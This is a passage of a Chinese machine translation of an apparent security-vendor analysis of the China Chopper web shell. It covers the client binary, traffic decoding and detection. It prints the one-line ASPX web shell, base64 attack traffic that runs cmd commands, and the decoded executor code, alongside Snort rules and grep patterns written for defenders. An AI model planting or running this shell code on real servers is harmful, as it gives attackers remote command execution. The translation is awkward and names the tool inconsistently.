<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图5:数据包捕获显示,网络流量的外壳是通过TCP 80端口的HTTP POST交通<br> <br> <br> <br> 因为这是TCP流量,我们可以在“遵循TCP”,在Wireshark的流(一种流行的开源网络协议分析仪,在Unix和Windows的作品)。在图6中,在顶部的红色交通从攻击(Web客户机)。在底部显示为蓝色交通从目标(网络外壳)的响应。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.wireshark.org/" data-ke-src="http://www.wireshark.org/"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="754" height="667" class="alignnone size-full wp-image-2672 landscape-med" style="border:0px currentColor;border-image:none;" alt="image008" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图6:继TCP流之后,我们可以看到,大多数攻击者的流量是Base64编码。<br> <br> <br> <br> 如上述所强调的,多数攻击流量似乎Base64编码。这是没有问题的,但是,因为它可以很容易地解码。我们使用免费的提琴手网页调试器的“TextWizard”功能来发现攻击者发送。 (注:%3D是等号的URL编码表示(“=”)提琴手需要这种转换为等号正确解码。)<br> <br> 原料攻击流量:</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong></strong> </p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>Password=Response.Write("->|");<p style="margin:5px 0px;-ms-word-wrap:break-word;">var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System. Convert.FromBase64String</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</p></pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如图9中,提琴手网页调试文本向导轻松地转换成原始流量的Base64为纯文本。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="579" class="alignnone size-full wp-image-2673 landscape-med" style="border:0px currentColor;border-image:none;" alt="image009" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图9:网页调试器解码的Base64交通</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>Decoded traffic:</strong> </p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).<p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z1</b>"])));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">vare=newSystem.Diagnostics.Process();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">varout:System.IO.StreamReader,EI:System.IO.StreamReader;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.UseShellExecute=false;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.RedirectStandardOutput=true;c.RedirectStandardError=true;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z2</b>"]));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">Response.Write(out.ReadToEnd()+EI.ReadToEnd());</p></pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">最后,我们有更多的东西可读。然而,我们的Base64解码交通正试图解码正被存储为Z1和Z2更Base64的流量。回到我们的攻击流量,“密码”参数结束之后,我们看到了Z1和Z2参数。<br> <br> 我突出Base64编码参数Z1和Z2以下的输出:</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "">
<pre>&<span style="text-decoration:underline;"><b>z1</b></span>=Y21k&<span style="text-decoration:underline;"><b>z2</b></span>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">Base64解码参数的Z1和Z2:</p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]</pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这也解释了客户如何与外壳进行通信。 “密码”的参数传递给被执行的代码的有效载荷。该Z1是cmd,然后Z2包含的参数通过CMD / C发送的命令提示符。所有输出发送到标准输出(stdout)回攻击者,从而创建以下响应whoami命令和当前的工作目录:</p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-</pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>发现<br> <br> 现在,我们了解中国砍刀的内容以及它的交通是什么样子,我们可以集中精力的方法来检测这种害虫无论是在网络和主机级别。<br> 网络<br> <br> 与标准的Snort IDS到位,这些流量可以被捕获相对容易。基思·泰勒给出了一个基本的IDS特征在他早期的中国砍刀博客文章的工作:</strong> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.snort.org/" data-ke-src="http://www.snort.org/" target="_blank"></a><a href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html" data-ke-src="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";<p style="margin:5px 0px;-ms-word-wrap:break-word;">http_client_body;flow:to_server,established; content:"POST"; nocase;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">http_method; ;msg:"Webshell Detected Apache";)</p></pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">为了减少误报,我们已经收紧的Snort IDS签名专注于中国斩波通过寻找“FromBase64String”和“Z1”如下内容:</p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with first Command Detected";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">flow:to_server,established; content: "FromBase64String";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "z1"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000101;)</p></pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">下面IDS特征查找“FromBase64String”和“Z”的任何组合,随后被一至三个数字的内容 - 这将找到“Z1”,“Z10”,或“Z100”为例的想法:如果第一命令(Z1)被错过了,你还是赶上随后的命令。</p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "">
<pre style="text-align:left;">alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with all Commands Detected"; flow:to_server,established;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000102;)</p></pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这两种IDS特征可以被修改为进一步优化时,深度和偏移考虑。一定要放一个有效的SID在实施前和测试签名的性能。<br> <br> 现在,我们已经讨论过检测在网络层面上,我们将看到检测在主机级别也是可以的。由于炮弹必须包含一个可预见的语法,我们可以迅速试图寻找那些在游戏的代码文件。<br> 主持人<br> <br> 许多方法可用于查找包含中国斩波文件。最快和最简单的方法,尤其是在Linux机器,很可能是使用正则表达式。如图10,在你的web目录快速的egrep可以帮助识别受感染的文件。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
<div class="blog-table-wrapper" style="font:12px/18px "color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
<table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" style="font:12px/1.5 "text-align:left;">
<pre>egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php</pre>
</td>
</tr>
</tbody>
</table>
</div>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="311" class="alignnone size-full wp-image-2674 landscape-med" style="border:0px currentColor;border-image:none;" alt="image010" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图10:使用egrep的发现这个网站的shell<br> <br> <br> <br> 正如你在图10中看到,egrep的正则表达式和命令是一个强大的组合。而正则表达式可能看起来像废话,它确实是并不像它看起来那样糟糕。伊恩·阿尔创造了一些正则表达式的教程,可以帮助提高你的正则表达式的技能。这里有两个让你开始:<br> <br> 正则表达式基础知识<br> 使用正则表达式用记事本<br> <br> Windows还提供了一种通过使用本地FINDSTR命令搜索使用正则表达式的文件。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="696" height="94" class="alignnone size-full wp-image-2675 landscape-med" style="border:0px currentColor;border-image:none;" alt="image011" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图11:使用FINDSTR找到中国砍刀<br> <br> <br> <br> 您可能已经注意到,我们不得不改变了正则表达式一点。这是必要的,以避开一些FINDSTR解释正则表达式的方式。您将运行命令如下:</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em><em></em><em></em> </p>
<pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php</pre>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这些例子表明检测的PHP外壳。为了找到ASPX外壳,只需修改正则表达式来适应ASPX壳的语法如下所示:</p>
<pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx</pre>
<pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx</pre>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如果你不知道,所有的PHP或ASPX文件是在Windows主机上,可以使用dir命令的一些扩展选项,以帮助您确定您可能要运行我们的正则表达式对(见图12)Web文件。</p>
<pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">dir /S /A /B *.php</pre>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="510" height="135" class="alignnone size-full wp-image-2676 landscape-med" style="border:0px currentColor;border-image:none;" alt="image012" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图12:通过Windows使用dir命令递归搜索<br> <br> <br> <br> FINDSTR还必须搜索所有的子目录(参见图13)的选项。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
<pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php</pre>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="213" class="alignnone size-full wp-image-2677 landscape-med" style="border:0px currentColor;border-image:none;" alt="image013" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图13:使用FINDSTR递归找到Web壳的多个实例<br> <br> <br> <br> 结论:<br> <br> 我希望中国斩波器的功能,平台的通用性,交付机制,流量分析和检测这个解释给你的知识和工具,你需要消除这种优雅的设计,但危险的威胁。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p><br class="Apple-interchange-newline">
剖析中国菜刀第一部分 神器荟萃
中国牛刀:可能是一款小的恶意软件
中国菜刀是一个漂亮的小网站的外壳,没有得到足够的曝光和信用的隐形。除了从安全研究人员基思·泰勒一个好的博客文章中,我们可以找到中国菜刀小有用的信息,当我们在事件响应订婚跑过它。因此,要促进新的东西给市民的知识基础 - 特别是对那些谁碰巧发现在他们的Web服务器之一的中国菜刀服务器端有效载荷 - 我们所研究的成分,性能,有效载荷属性,而这4千字节的检出率威胁。
在客户端的二进制是挤满了UPX和是220672字节的大小,如图1。
图1:在WinHex的客户端二进制观看
使用可执行文件UPX压缩解压二进制让我们看到了一些被隐藏的封隔器的详细信息。
C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe
Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011 File size Ratio Format Name -------------------- ------ ----------- ----------- 700416 <- 220672 31.51% win32/pe decomp.exe Unpacked 1 file. |
|
使用PEID(一个免费的工具,用于检测加壳,cryptors和编译器的PE可执行文件中找到),我们看到客户端解压二进制写在Microsoft Visual C ++ 6.0,如图2。
图2:PEID显示,二是用书面的Visual C ++ 6.0
因为字符串不编码,检查打印字符串在解压缩二进制提供了深入了解的后门通信。我们好奇地看到一个参考使用中国(简体)语言参数(图3),以及参考文本“牛刀”(图4)google.com.hk。
图3:打印字符串指向 www.google.com.hk
图4:引用菜刀在客户端的二进制因此,我们强调了客户端二进制文件的一些属性。但什么是它看起来像在使用?中国菜刀是一个菜单驱动的GUI满方便的攻击和受害者管理功能。一旦打开客户端,您可以看到指向www.maicaidao.com例如外壳条目,原本主办的网站壳组件。
要添加自己的目标,右边的客户端中单击,选择“添加”,输入目标IP地址,密码和编码,如图5。
图片5:菜刀的网站shell管理界面
服务器端的有效载荷分量
但客户端是只有一半的远程访问工具 - 而不是可能的一部分,你会发现你的网络上。它的通信依赖于一个小型Web应用程序的形式的有效载荷。这有效载荷是在各种语言,如ASP,ASPX,PHP,JSP和CFM提供。一些原始文件是可供下载,只显示其MD5散列:
Web shell Payload | MD5 Hash |
---|---|
Customize.aspx | 8aa603ee2454da64f4c70f24cc0b5e08 |
Customize.cfm | ad8288227240477a95fb023551773c84 |
Customize.jsp | acba8115d027529763ea5c7ed6621499 |
Source: http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html
即使MD5s是有用的,要记住,这是一个可以很容易地改变,从而产生一种新的MD5哈希基于文本的有效载荷。我们将讨论后的有效载荷的属性,但这里是仅仅基于文本的有效载荷中的一个例子:
ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%> |
注意,“密码”将被替换为在客户端组件连接到Web外壳时要使用的实际的密码。
在接下来的文章中,我们提供的正则表达式,可以用来找到这个网站的外壳的实例。
效果
两者的有效载荷和所述客户机的能力是令人印象深刻的考虑其大小。网页壳客户端包含了“安全扫描”功能,独立的有效载荷,这给攻击者蜘蛛用蛮力密码猜测对认证门户网站的能力。
